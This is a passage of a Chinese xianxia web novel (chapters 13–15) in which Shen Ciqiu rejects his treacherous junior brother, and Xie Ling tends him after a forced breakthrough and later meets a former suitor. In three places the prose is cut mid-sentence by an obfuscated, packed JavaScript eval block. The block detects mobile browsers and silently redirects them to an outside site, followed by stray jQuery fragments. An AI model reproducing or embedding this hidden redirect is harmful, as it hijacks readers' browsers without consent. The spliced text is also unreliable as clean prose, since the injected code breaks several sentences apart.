“滚,都给我滚!沈辞秋呢,他为什么不来见我,”咆哮的动静穿透门板,“他是不是不敢来见我!?”
前来侍奉的低阶弟子被轰出了屋,敢怒不敢言,低着头疾步往前走,看见一点银白的鞋面,抬头,对上了沈辞秋的脸。
弟子一愣,匆忙行礼:“沈师兄!”
沈辞秋嗯了声:“你先退下吧。”
弟子松了口气,赶紧称是,沈辞秋上前,推开了没有上锁的门。
“我叫你们滚——师兄!?”
郁魁的叫骂声一顿,在看清沈辞秋时静了片刻,但随即而来的,是盛怒的火山喷发。
“沈辞秋!!”
郁魁挣扎着想起身,但他丹腑尽毁,被人扶着才勉强靠坐在床头,根本没有力气下床,他拼命伸手想去抓沈辞秋,最后的结果就是连人带被子滚下了床,摔在地上。
郁魁顾不上自己此刻多狼狈——他难道还能更惨吗?
“沈辞秋!”郁魁眼中布满血丝,怨毒地盯住沈辞秋,仿佛想用眼神将他撕碎,“你为什么不救我,啊?我废了,我变成一个废人了啊,你让我以后怎么办,我还怎么活得下去!”
他趴在地上,气喘如牛,像只陷在沼泽里却爬不出来的野兽,徒劳地将最大的恶意砸向岸边的人,甚至试图把那月白的长袍也拖下来,要跟他一起烂在泥里,才能解他心头之恨。
但是——沈辞秋站在干干净净的地方,毫无波澜地看着他。
郁魁吼完一阵,没能得到任何回音,他胸腔起伏,死死盯着他:“你说点什么,沈辞秋……你说话!”
沈辞秋只用一双琉璃色的眼眸浅浅看着他。
郁魁原本站在兴师问罪的高地,可在这样无言的注视中,没来由生出胆寒与害怕,心头一颤,色厉内苒抬高了声音:“你说点什么啊!”
沈辞秋安静的神情终于动了动,舍得开了口:“你想听什么呢,师弟?”
语气中没有自责愧疚,甚至没有一丝丝怜悯。
郁魁难以置信:“我因为你废了,你问我想听什么?”
不,不对,郁魁猛地一颤。
他不料沈辞秋会这样说话,怔愣地仔仔细细看过沈辞秋的神情,然后惊恐的发现一个事实:从那双眼睛里,他看不出半点昔日他熟悉的师兄模样。
沈辞秋是不善表达,但绝不是冷心冷情、连身边人遭逢大难都无动于衷的人,当初他受了伤,沈辞秋眉眼里明明都有心疼,可现在为何什么也没有?
有的只是居高临下,仿佛在漠然注视一只肮脏野兽濒死前的徒劳挣动。
郁魁忽然发起抖来:“不、不是,你不是我师兄,你不是……”
“我是啊,”沈辞秋放轻了声音,语调明明没怎么变,却有一种诡异的柔和,说不上诡异多,还是柔和多,他道,“一直都是。”
郁魁崩溃:“那你为什么不救我!?”
“因为你不是我师弟了。”
轻飘飘一句话落下,郁魁怀疑自己听错了,挣扎的倏地手怔住:“什么?”
沈辞秋进屋后始终站在离他六步远的距离:“你没敢告诉师父,你把谢翎推向邪修,想借刀杀人的事吧?”
郁魁想过各种再见沈辞秋的场景,唯独没想过那一幕竟被沈辞秋看到了,立时惊慌起来:“我、我不是,我没有!”
“我看得很清楚。”沈辞秋嗓音如清泉击石,往郁魁耳朵里灌,“做出这样的事,怎么会是我认识的那个师弟。”
——当你为了慕子晨,把我交给你的后背故意暴露给邪修后,你就不再是我师弟了。
“不是的,不是的师兄!”
方才还理直气壮的郁魁火焰一下矮了,他用手撑着往前爬了爬,试图拽住沈辞秋的衣摆,沈辞秋没有动,因为郁魁即便艰难挪动,也只爬出一点距离,根本够不着他一片衣角。
郁魁伸出的手没有得到任何回应,心慌意乱:“我只是不小心,对,不小心!”
玄阳尊来看郁魁的时候并没有提起此事,所以沈辞秋肯定没有说出去,郁魁不得不怕:师尊许诺会替他继续找找看还有没有能恢复的法子,没有完全弃他于不顾,如果玄阳尊得知此事后厌恶了他,岂不是最后一点希望都没了?
不行,绝对不行!
郁魁红着眼眶声泪俱下:“我真的是不小心,再说谢翎跟你相识才几天,我们可是从小一起长大的师兄弟啊,你怎么能救他不救我呢?”
他不仅要说自己无辜,还要倒打一耙。
沈辞秋看着郁魁凄惨的脸,心里轻轻地想:是啊,我们从小一起长大,十几年,我曾把你当家人,那么你为什么信慕子晨,不信我呢?
但是如今,这个问题的答案沈辞秋不在乎,也不需要了。
他偏头,竟是朝着郁魁轻轻笑了一下。
尽管只是微微动了动嘴角,笑意不达眼底,不过是薄凉微嘲,却依旧好看得要命。
“他比你重要吧。”沈辞秋给了郁魁一个答案。
郁魁拼命去够沈辞秋衣摆的手指僵住了。
简简单单一句话,将郁魁彻底击碎。
房间里的哭声登时一滞。
沈辞秋冷冷淡淡转过头,干净雪白的衣摆微动,朝外走去。
就在他踏出门扉的刹那,身后骤然爆发出郁魁崩溃的嗓音,他没有回头,只在郁魁刺耳的呜咽声里说:“对了,你不用担心你以后该怎么活下去,师尊有令,我还是会帮你的。”
——帮你解脱,你就不用费劲思考要怎么活了。
*
沈辞秋“探望”过郁魁,径直回到了自己院中练功房内。
他没把郁魁暗算的事说出去,一来没有证据,玄阳尊本身也不怎么在乎谢翎;二来,日后或许有更适合的机会,还能让此事派上用场。
谢翎也很聪明地把这事掩住了,他清楚自己如今的身份地位,即便去玉仙宗大殿义正言辞讨要公道,得到的结果也未必如意。
聪明人总是能等。
但某些事也不该再
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14466297|154144||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
等。
玄阳尊到访,虽然没能让沈辞秋生出畏惧,但却让他感到了迫切。
与商议婚事时在大殿上相见不同,那时他与玄阳尊离得远,而今日离得近了,玄阳尊身上不怒自威的灵压让沈辞秋再度感受到了修为上的差距。
天堑鸿沟。
那就是当世最强的境界,金仙,可踏碎虚空,可翻手为云覆手为雨,捏死他小小一个金丹,不比踩死蚂蚁费多少力。
金仙之下,皆为蝼蚁。
他的仇人不止一个郁魁,玄阳尊的修为如同一座大山,抬头仰看,只觉窒息。
沈辞秋必须抓紧时间修炼。
他捏紧手中装着羽神泪的玉瓶,深深呼出一口气。
在体外淬炼还是太慢了,既然他有了烈火珠,不如直接将还剩微弱毒性的羽神泪直接收入体内,利用烈火珠将寒毒直接烧尽。
沈辞秋盘膝坐下,羽神泪从玉瓶中缓缓浮空,他薄薄的唇轻启,将羽神泪吞入口中。
别看水珠小小一滴,入口后瞬间爆发凛冽的寒意,宛如置身寒冬冰窟,羽神泪残余的毒素遽然发作,沈辞秋的面色立时苍白。
很疼,像是冰冷的刀子一点点割过骨头,沈辞秋咬紧牙关,一声不吭忍下了。
他闭着眼,手上法诀变动,用灵力催起烈火珠,吞噬羽神泪的毒素。
烈火珠不暴动的时候,灵力十分熨帖,温热的暖流遇上寒冷的毒,两股力道以沈辞秋的经脉为战场,进行角逐,对经脉来说无疑是酷刑,但沈辞秋神识内视,却仿佛是旁观他人的躯体,在这样的痛楚里直接开始冲击修为境界。
无妨,忍一忍就过去了,沈辞秋对自己当真狠得下心。
没人喜欢疼痛,可沈辞秋已经快习惯了。
……真的能习惯吗?
小时候,玄阳尊对他和郁魁的修行教导十分严格,练狠了是真疼,小辞秋忍了半晌,一双倔强的眼里还是蓄满了泪,眼看就要哭出来了,但是旁边郁魁“哇”的一声,比他先哭了。
小辞秋一愣,眼泪就掉不下来了。
他连忙去给郁魁擦眼泪,口笨嘴拙干巴巴安慰道:“别、别哭。”
郁魁:“呜呜呜!”
“师兄,”郁魁疼得打滚,赖地上不起了,“你不疼吗,为什么不哭啊?”
疼的,也想哭,但是我们俩都哭了的话,谁来安慰你呢?
小小的沈辞秋想着,抬手擦了擦眼角,把眼泪抹掉,眼角被他擦得通红,小大人似地抱了抱郁魁:“师兄不疼,给你吹吹。”
后来,郁魁再也没问过沈辞秋疼不疼,明知道小时候小鬼说的话幼稚,怎么可能不疼呢,但他眼中沈辞秋好像真就成了圣人,流血受伤也不会疼。
玄阳尊赞他心性极佳,坚韧不拔,能成大事。
可他疼的时候,也是曾想找人说说话的,或者一言不发,陪他片刻也行。
那样他就知道自己为他人受伤也是值得的。
但现在,沈辞秋都不要了。
他疼不疼,无关紧要,他从地狱里爬回来,只为复仇而存在。
烈火珠慢慢把寒毒清了干净,沈辞秋的面色也逐渐好转,由惨白变回了玉润,他的气息节节攀升,修为正在逐渐上涨,原本安静的四周空气开始隐隐波动,像有无形的手,正酝酿着波涛。
幽蓝的灵力裹住沈辞秋周身,他好看的眉心紧促,终于在某个时刻,灵光大盛,周遭猛地一震,惊得院中花草树木俱颤,沈辞秋的气息骤然拔上了金丹大圆满!
十八岁的金丹大圆满,放眼三族,那也绝对是凤毛麟角的存在。
需要十天半月才能吸收的一滴羽神泪,短短几个时辰就被沈辞秋给炼化了。
丹腑内的灵力漩涡疯狂转动几轮后,终于稳稳定在金丹大圆满,慢慢平静了下来。
通常修士境界提升后,都会神清气爽,但沈辞秋却许久都没有睁开眼。
片刻后,他唇边竟是悄然蔓出一丝血线,顺着嘴角滑落,掐诀的手慢慢垂下,少年人身体晃了晃,一头栽倒下去。
时至夜间,星子棋布,万籁俱静,沈辞秋双眸紧闭,唇边的血红得触目惊心,形单影只晕倒在屋子里,人事不知。
就这么躺上一夜,恐怕也没人知道。
只不过这时,从前毫无人气的隔壁院落竟然还亮着灯火,窗边垂下的竹帘轻轻晃动后,随即被一把赤金的扇子拨开了。
是谢翎。
如今沈辞秋的别院中有他在。
方才灵力动静很大,谢翎当然有注意到,他朝沈辞秋的院中望了一眼:看架势,难不成是沈辞秋进阶了?
14.第十四章
谢翎本来在研究古翠玉中的上古秘法传承,他现在修为不高,秘法直接塞进了他脑子里,他记住全部,也只能先练练第一行。
翠玉里记载的功法名为天火决,适合火灵根修行,是主角贯穿全书的重要功法之一,不仅能在对战时立即使用,还能在平时用火慢慢淬炼出三支威力极大的箭,存在丹腑里。
一支天火箭,灼人身躯;一支焚识箭,毁人神识;最后一支箭不太一样,名为生息箭,是能给人疗伤用的。
因为平时能抽时间炼,所以尽可以将这三支箭炼厉害一点,当作底牌来用。
当然,现在的谢翎还没法开始炼制。
他弹出系统人物面板,往沈辞秋的资料看去,眼皮就是一跳。
沈辞秋修为那一栏的字已经变了,赫然写着金丹大圆满。
十八岁的金丹大圆满……谢翎不禁想仰天直呼:我是主角还是他是主角啊??
就非得给反派也安排这么高的天赋好在前期吊打主角是吧?
谢翎郁闷地扇了扇风,心道沈辞秋也太卷了,简直不给他留活路,行,他也卷,性命攸关的事,看咱们谁卷得过谁!
他刚踌躇满志,准备今晚干脆不睡来个通宵的时候,却发现体内的寒冰珠不对劲。
谢翎皱了皱眉:并非寒气暴动,更像是珠子不安又焦虑地蹦了蹦,跟着牵扯他心神。
而能这么影响寒冰珠的,只有另一颗珠子。
沈辞秋的烈火珠出了什么岔子?
……应该问题不大吧,兴许是沈辞秋刚进阶,所以烈火珠有了点影响。
谢翎盘膝,也开始打坐,他凝息入神,呼吸平稳,即将沉入平静的识海时——
寒冰珠一蹦!
平静的识海没了。
谢翎差点岔气,磨牙,没完了是吧?再来,我就不信邪——
寒冰珠再蹦!
谢翎:“……”
好,他信了。
他想安安静静打坐,但寒冰珠蹦蹦跶跶简直像是无声地催促,扰得他不得安宁,不达目的不罢休。
看来他如果不去烈火珠的主人身边看一看,寒冰珠是不肯安宁了。
谢翎无语地起身,拎着折扇往隔壁院走去。
边走边用灵力试图稳下寒冰珠:你在这儿催我过去,殊不知人家没事可能不乐意见我。
谢翎察觉人的气息在练功房,在门外犹豫片刻,还是在寒冰珠的蹦跶里败下阵来,走上去,敲了敲门。
门内没有回音。
还在修炼?打扰人修炼总是不好,要不还是走——寒冰珠又不乐意地蹦了蹦。
谢翎手指无可奈何朝门板上再一敲:“沈师兄,你的烈火珠还好吗?”
这一声后,屋内还是安安静静。
谢翎蹙眉,察觉了点不对劲。
沈辞秋如果是全然入定不想受到外界一点干扰,那么应当会在房外布下结界,不让人靠近,既然没有结界,就说明他必然留了神识注意外面动静。
谢翎声音不小,沈辞秋即便在打坐,也该醒了,不该毫无反应。
他敲门的力道和声响都变大了。
“沈师兄?阿辞?”
都这么叫了,沈辞秋还是毫无回音。
谢翎顿了顿,胆大包天又小声蛐蛐地叫了一声——
“夫人?”
谢翎叫完,飞快蹦出三尺开外,免得门内直接飞出灵力让他血溅当场。
他连防御的法器都挑好了,然而本以为会骤然掀开的门板依旧安安静静,就看着他一个人唱戏。
无事发生。
谢翎:……很不对劲!
他三步并两步回到门前,捏着折扇,告诉自己寒冰珠还没消停,哪怕是为了自己考虑——
谢翎直接一把推开了门。
“我进来了……喂!”
他一眼就看到沈辞秋倒在地上,嘴角还带着殷红血迹。
谢翎吓了一跳,赶紧凑上前扶起人,沈辞秋靠在他臂弯里,没有睁开眼,唇边的血线又往下滑了一点。
“你干什么了这是!你可别死啊,你死了我也得玩完!”
谢翎心惊胆战,赶紧伸手一搭沈辞秋的脉搏,他不是医修,但是灵力探脉简单知晓一下身体情况是修士的基本功。
沈辞秋的经脉带了点伤,像是强行突破导致的,谢翎边搭脉边思索,难不成刚刚他是强行突破?
谢翎目光一转,看到了旁边原本装着羽神泪的玉瓶,拿起来一瞧,里面已经空了。
……十天半个月才能吸收完的羽神泪,就被他这么用完了。
谢翎放下玉瓶感慨:这位反派可真虎啊。
沈辞秋没有性命之忧,就牵扯不到谢翎,他舒了口气,原来是虚惊一场。
冷静下来后,谢翎低头看沈辞秋:所以,他现在该拿这个受伤的反派怎么办?
即便放着不管,他明儿自己也就醒了,不算什么重伤,谢翎最稳妥的做法就是此刻悄悄把他放下,然后离开,假装自己从没来过,
但这人受了伤……
可他是反派。
他在古翠山里救了你。
可他也给你下了同命咒。
谢翎瞬间天人交战,各种犯难。
他大部分时候是个好人,这话不是假的,路过救个人或者帮个人就是顺手的事,但现在躺在他臂弯里的偏偏是沈辞秋。
他跟沈辞秋若是按照剧情碰面,两人之间就是十分纯粹的你死我活关系,哪像现在,简单的一根线大有被搅成毛线团的架势。
婚约不是重点,重点是与个活生生的人相处在一块,沈辞秋在他脑子里从刻板的心狠手辣的反派,变成了个复杂的反派。
谢翎纠结了半晌,站在门边守着的黑鹰就看着殿下艰难思忖、摇摆不定片刻后,从储物器里摸出个药瓶。
捏着药瓶的时候,他又顿了片刻,然后把药瓶收了回去。
看见谢翎把药瓶收回去的时候,黑鹰松了口气:他就说,殿下怎么会对敌人心软,必然是——
然后他就看见谢翎换了个更高阶的丹药瓶子出来。
黑鹰:“……”
打脸来得好快。
不是,为什么?黑鹰不理解!
谢翎把丹药飞快塞进沈辞秋口中,好像丹药是什么烫手山芋,做完这事儿,他长长的松口气。
很好,不用纠结了。
五品的好丹药,入口即化,这么点小伤,保准药到病除。
丹药塞进去的时候,谢翎手指不小心碰到了沈辞秋的唇,别看大反派总是如高山雪那么冷,唇瓣却是微热,还挺软的。
谢翎不自在地捻了捻指尖。
他盯着沈辞秋白皙下颌上的血迹,看着总觉碍眼,爱美爱干净的鸟忍不了这个,又顺手给他擦了。
沈辞秋睡得并不安稳,他烟眉紧蹙,谢翎刚准备把他放下,就见沈辞秋唇瓣轻启,低声说了什么。
谢翎凑近了听,就听到沈辞秋呢喃:“……疼。”
谢翎一顿。
得到一条无用信息:大反派也有脆弱一面,梦里会喊疼。
药下去了还会疼?不该啊,还是说先前疼狠了,这会儿都没能缓过来?
人在生病或者受伤的时候都会很脆弱,沈辞秋即便是个反派,也是个有童年的人,小时候兴许也是被爱护着过来的,难受的时候应该也有长辈哄。
那现在总不能还让自己哄他吧?
谢翎:我都给了药,已经足够仁至义尽……
沈辞秋偏头,无力地靠在他怀里。
谢翎:“……”
他认命地叹口气,算了,帮都帮了,不差这么一点。
哄人就哄人。
谢翎哼哼:“本殿下不跟伤患计较,我将就哄,你将就受着。”
“不喜欢也不准提意见!”谢翎非常霸道,“谁让现在除了我没别人,你那些长辈、朋友都不知道搁哪儿凉快呢!”
谢翎又往沈辞秋嘴里塞了什么东西,然后握住了沈辞秋的手——是的,握手时长达到两个时辰的任务还没做完呢,现在还可以继续刷任务。
黑鹰看到谢翎握住沈辞秋的手,心头就是一跳。
如果说喂丹药还能有别的解释,那么趁人昏迷握着人家的手不放还能怎么解释?
黑鹰欲言又止、止言又欲,最后还是忍不住出声:“殿下……”
谢翎:“嗯?”
黑鹰觉得,作为忠臣,就要敢于谏言:“我知道殿下向来欣赏貌美之人,但沈辞秋此人实在心狠手辣,这样的蛇蝎美人,走得太近于您而言太过危险,您……”
“等等,”谢翎愕然打断他,“不是,什么意思,你觉得我以貌取人被他用美人计迷住了?”
黑鹰闭嘴,但视线在他俩握着的手上停留,那眼神明显是:不然呢?
“……”谢翎怒了,“我没有!”
黑鹰目光又在他俩手上划过,无声谴责。
总不能告诉你我这是在刷任务吧?谢翎深吸一口气:“总之我没有,我这么做是有原因的,我虽然颜控,但也不可能见一个爱一个,不然在妖皇宫早就死得渣都不剩了。”
黑鹰原本也是这么想的,但如今想来可未必,妖皇宫内不乏各类弟子侍从还有专门培养出来的细作,美人众多,但没有一个比得上沈辞秋,这张脸才是真正的天上仅有地上绝无。
谢翎从前八风不动,万一是以前的美人还不够美,都没真正入了谢翎的眼呢?
黑鹰忧心忡忡。
如果殿下真被蛊惑了……黑鹰眼中闪过暗芒。
“快停止你的脑补,”谢翎一看就知道他又想了什么乱七八糟的东西,“没事练练剑,少看点话本。”
黑鹰:“噢,可那些话本是您看腻了后给我的。”
这是上梁不正下梁歪啊。
谢翎:“……你别说话了。”
黑鹰肃然点头,当真一声不吭了。
谢翎握着沈辞秋的手,心道这都是什么事儿啊?都是系统补偿任务给的太奇怪了……等等。
谢翎突然有种不妙的预感。
从勾手指到握手,下个阶段的补偿任务,难不成会围绕着沈辞秋进一步升级?
谢
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14474274|154144||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
翎握着沈辞秋的手,眼皮不安地狂跳。
*
谢翎的丹药很有用,不多时,沈辞秋手指就动了动。
沈辞秋感觉自己陷在一个很温暖的地方。
这是他没有感受过的,很新奇,也很让人……流连忘返。
非常舒服,让他他险些在熨帖里再睡过去,但意识还是慢慢回笼,悠悠转醒。
沈辞秋睁开眼,看见一个线条分明的下颌。
沈辞秋怔住,因为他意识到了,自己正被人抱在怀里。
谢翎昏昏欲睡,打了个呵欠,一低头,对上了沈辞秋清醒的双眼。
谢翎:“……”
沈辞秋:“……”
他飞速松开握着沈辞秋的手:“咳,你醒了。”
沈辞秋看了看谢翎缩回去的手,又重新无言地与他四目相对。
场面一度十分尴尬。
谢翎立马把他放下表示清白:“寒冰珠异动,我只好过来找你,看你躺在地上,又听你喊疼,想握住你的手会不会好一点,没别的意思。”
冰火双生珠竟然还能示警,沈辞秋默默记下了。
暖烘烘的温度骤然退开,周围好像一下就凉了下来,竟然一时有点不习惯,沈辞秋起身,他发现自己的伤已经好了,应当吃过什么不错的丹药,还有……嘴里怎么还有股甜味儿,太甜了,不像药材。
沈辞秋检查完自己身体情况,疑道:“你给我吃了什么东西?”
“一颗五品养脉丹,还有颗糖。”
沈辞秋愣住:“什么?”
“金丝花蜜糖。”
谢翎觑着沈辞秋的神色:“我看你好像难受,我知道,生病受伤的人都得哄,我不知道你家人里怎么哄的你,就给了颗糖,再握握你的手……你将就一下。”
谢翎努力把自己握手的行为合理化了。
沈辞秋沉默。
……没有,从来没人在他难受时哄过他。
谢翎是第一个。
玄阳尊严苛,而郁魁觉得师兄那么强,理所当然不会难受,他是淋着霜雪长大的,并非被人捧在手心里的金枝玉叶。
蜜糖的甜味残留在口中,带着一点清香,他辟谷多年,没有口腹之欲,也没什么特别的喜好,酸甜苦辣都无所谓,但这颗糖的味道却格外清晰,挥之不去。
沈辞秋半晌后微微抬起琉璃色的眸,开口时嗓音很轻:“……糖还有吗?”
嗯?大反派居然喜欢甜食。
谢翎意外,点头,从储物器里摸出油纸包拆开递了过去。
一捧满满的糖递过去,沈辞秋只取了一颗,放入口中细细品味,一时没有说话。
甘甜的味道瞬间在口中蔓开,沈辞秋好像明白为什么那么多人喜欢糖了。
苦太多了,就想知道甜到底是什么滋味。
谢翎看沈辞秋只拿了一颗就没有再动的意思,把油纸包包了起来,放在沈辞秋跟前。
沈辞秋却没收,推了回去。
一同推过来的,还有个玉瓶。
“月圆之时收集的凝露,”沈辞秋道,“泡月华泉的时候加上两滴,效果更好。”
谢翎意外地挑了挑眉:嗯?反派是在朝他道谢?
这就像你提防一只猫半天,怕喜怒无常的猫忽然给你一爪子,但猫却是收起利爪,用软乎的肉垫轻轻拍了一你下。
很不真实,受宠若惊。
谢翎展开折扇遮住半张脸,惊疑不定,反复瞧了瞧沈辞秋的神色,沈辞秋淡然地任他打量。
沈辞秋看着谢翎把玉瓶拿过去检查,发现确实是好东西后眼睛亮了亮,只犹豫一下,他折扇一收:“那我就不客气了。”
谢翎按照交易约定,又把装着一滴羽神泪的瓶子留下:“我看上一滴用完了,给,我说你也慢点,再拔苗助长,当心留下暗伤。”
谢翎说完,停了停:这话说得他好像在关心反派似的。
反派有暗伤,日后打起来是他占便宜,可能是气氛太自然了,所以顺口就说了。
他才没关心反派。
谢翎起身,没带走那包糖,摆手往外走:“糖送你了,反正我零嘴多,就当请你。”
谢翎离开后,沈辞秋垂眸静静看着那包糖,半晌没有动作。
谢翎为什么没有放着他不管?沈辞秋抿了抿唇,他不明白。
谢翎是个聪明人,聪明人就该选最合适的做法,比如对他视若无睹,除交易外,没必要做过多牵扯。
若是为了在交易中给自己谋取更多利益,帮自己一回也可以解释,但是糖以及留在自己掌心的温度……都是多余的东西。
谢翎如果妄图在他身上用些攻心的小计俩,那他可就失算了。
沈辞秋如今心早就成了一潭死水,没有能被攻陷的破绽,也不剩能分给别人的感情。
他没什么可被图谋的。
那包糖搁在原地,被冷落了好半天后,终于,沈辞秋伸手,把它收了起来。
从没放过零嘴的储物器里,因为这包与法宝丹药灵植卷轴格格不入的金丝花蜜糖,竟也多了一丝清甜的味道。
15.第十五章
沈辞秋出现在校场上时,发现他修为再进一步,众人纷纷道贺,唯有卞云抱着手臂冷哼:“这有什么,我迟早也能办到。”
可他都过十八岁了,也还没到金丹大圆满,这回连跟他关系好的弟子也没敢吱声,他们都知道,卞云只是在说气话。
教习长老很满意:“你们大师兄不仅天资卓绝,还勤修不怠,你们都该以他为榜样,多学多练。”
其余弟子们不管心里怎么想,没人反驳长老的话,齐声:“是。”
今日校场要练的是剑招,轮到沈辞秋与卞云对练时,沈辞秋却没拔腰间的灵剑,而是去旁边架子上随意拎了一把。
卞云一看,当即怒了:“沈辞秋,你看不起我!?拔你的剑!”
沈辞秋挽了个剑花,剑尖斜指大地:“最近在养剑,这段时日它都不宜出鞘。”
这个理由成功让卞云消了火,不过他还是狐疑地看了看沈辞秋腰侧佩剑:“真的?我怎么没听过还有不能出鞘的养剑方法,怎么养的,下来也说给我……”
假的,不过是沈辞秋随口编的理由。
他只是不想用这把剑,因为此剑是玄阳尊在他筑基时赠与他的佩剑。
沈辞秋曾经十分珍惜,甚至想在修为达到合体期后将这把剑炼成自己的本命灵剑,可惜……上辈子他还没达到合体期就死了。
但也幸好这把剑没能成为他的本命剑,否则日后他岂不是还要自损本命剑,折了修为还伤身?
沈辞秋没有能教给卞云的养剑法子,只得打断了他的话:“没看不起你。”
卞云脸色稍缓,刚要再装模作样哼一声,就听沈辞秋补了句:“但你确实打不过我。”
卞云:“……”
卞云怒了,卞云拎着剑上了!
半盏茶后,卞云大败。
老实说,卞云剑法绝对不差,但奈何他对上的是沈辞秋,如今天下诸多后起之秀,大家未必全都交过手,真打起来到底谁第一第二还未可知,但在境界提升速度上,沈辞秋暂时领先。
十八岁的金丹大圆满,无人出其左右,就连玄阳尊十八岁时也没有这个修为。
卞云怒而摔剑……好吧,其实他没摔下去,手都扬起来了,到底还是收住,免得让人觉得他输不起看笑话。
沈辞秋按照长老的安排,又跟两个弟子比过,说是比试,实为指点,指点完,他把剑放回教场旁架子上,卞云就杵在那儿幽怨地盯着他。
沈辞秋:“你……”
“你不会说话还是别说了,”名为卞云的炮仗在要炸不炸的边缘,“我怕被你气死。”
沈辞秋顿了顿,当真不说了,安安静静看了会儿教场中弟子们的演练,忽道:“一年后的苍蓝秘境,你别去了。”
卞云:???
卞云满头雾水,他比剑输给沈辞秋也不是第一次了,在门内怎么也算得上第二,要是输给沈辞秋就不能去苍蓝秘境,那年轻一辈中除了沈辞秋不是都别去了?
“苍蓝秘境五十年一开,只限合体期和合体期之下的修为能进,这么好的历练机会,我凭什么不去?”卞云不高兴,“你哪根筋搭错了突然提苍蓝秘境?”
沈辞秋无言垂眸。
他如果说你别去,否则会死,不但没人会信,恐怕还得被当成疯子,毕竟他擅长的是剑与咒,又不是占卜。
至于卞云本人,大概是生一通气,觉得沈辞秋又不说人话,然后就会当成鬼话抛在脑后。
卞云喋喋不休:“我把你从地底拖出来,没有酬劳白干了不说,还得继续被你气,你——嗯?”
风轻轻拂过沈辞秋衣摆,他没有偏头,依然看着校场中央,身侧的手上却多了块刻着咒文的灵石。
“保命符,若受致命伤能多护你心脉一个时辰,平时用精血养养,还能多抵御几分伤。”沈辞秋,“酬劳,够吗?”
卞云把咒石接过来瞧了瞧:“行。”
“对了,郁魁那事儿,终究是人各有命,我觉得你不用自责,啊当然,你要是伤心过度无心修行,就等着被我打败吧。”
沈辞秋没出声,毕竟他不能实话实说,不出声,别人还会默认他在难过。
场上弟子们又你来我往打过了几轮。
玉仙宗的弟子大多以剑入道,无论之后会不会为别的法宝舍弃剑道,入门的剑法都要学,沈辞秋虽然是玄阳尊嫡传弟子,但元婴期之前,有些课也得跟内门弟子们一起上。
若要闭关或者自行修炼,得写文书递申请,校场练剑后下一课他不必去,沈辞秋正思索着等等去后山再练练剑法,就听到周围弟子们开始窸窸窣窣交头接耳。
“你看你看,温少主怎么过来了。”
“像在等人?”
“他眼神看着的方向不就是——”
沈辞秋思绪被打断,顺着弟子们视线看过去,就跟某个鼎剑宗少主对上了视线。
温阑看着的不是沈辞秋还能是谁?
温阑与他四目相对,还冲他温文尔雅笑了一下。
沈辞秋:“……”
笑不出来。
他怎么又来了??
其余弟子们神情也很微妙,毕竟谁都知道温少主朝玉仙宗递了庚帖想联姻,可惜落花有情流水无意,沈辞秋最终选择了他以外的人。
卞云看热闹不嫌事大:“哟,你的桃花债。我也很乐意看到你陷在感情纠葛里耽误了修行。”
卞云在妄想沈辞秋怠慢修行的路上真是花样百出,见缝插针。
沈辞秋冷冰冰道:“你又想多了。”
什么桃花什么感情,纠葛不了一点。
这堂课接近尾声,温阑简直是算好时间来的,在沈辞秋能抬腿离开前,就恰好走到他身边:“阿辞。”
沈辞秋半点不想搭理他,但不光是弟子们在看,授课的长老也还没走远,沈辞秋神色淡淡:“温少主。”
温阑轻轻叹了口气:“阿辞,以往你虽然寡言少语,但对我也没这么疏离,你放心,我知道你如今有婚约,我懂得分寸,不会给你带来流言蜚语和麻烦,仅以友人之交。”
场面话可说得真漂亮啊,就连沈辞秋也得承认他那副君子皮装得人模狗样,已经有弟子忍不住对着温阑心驰神往:“温少主可真体贴啊,无论与他做朋友还是道侣,他都一定很会疼人吧?”
会疼人?或许吧,慕子晨可能被他疼爱过,但沈辞秋没有。
从与温阑相识开始,沈辞秋就知道他很会说话,总给人如沐春风之感,他进退有度,与他相处很舒适。
后来想想,之所以会觉得舒适,都是温阑刻意为之的结果,全是算计。
一个人究竟如何,不能光看他说了什么,还要看他做了什么,这个道理很简单,沈辞秋也明白,但当真正与人相处后,就会发现没那么容易。
设想,若有一个人,总对你笑颜相迎,言语温暖如春,并且没做过让你不快的事,你会怎么看待他?
你会觉得,这人挺好的。
在他背叛你之前,你很难看清他的真面目。
温阑曾给沈辞秋留下了难以磨灭的好印象。
那是在一次混战中,彼时他们还没有订立婚约,沈辞秋为众人断后,让他们先走,温
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14475440|154144||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
阑却在别的弟子都撤走后,咬咬牙站到沈辞秋的身边,他说:“阿辞,我不走,我陪你一起,别怕。”
他明明连提剑的力气都没了,拿剑的手已经因为脱力在发颤。
沈辞秋愣愣地看着他侧脸,一时间没能反应过来。
他习惯了成为保护者,扛着玉仙宗大师兄的责任,温阑却要为了他留下来……
那瞬间,沈辞秋心底淌过了暖流。
他觉得有温阑这个朋友,很值。
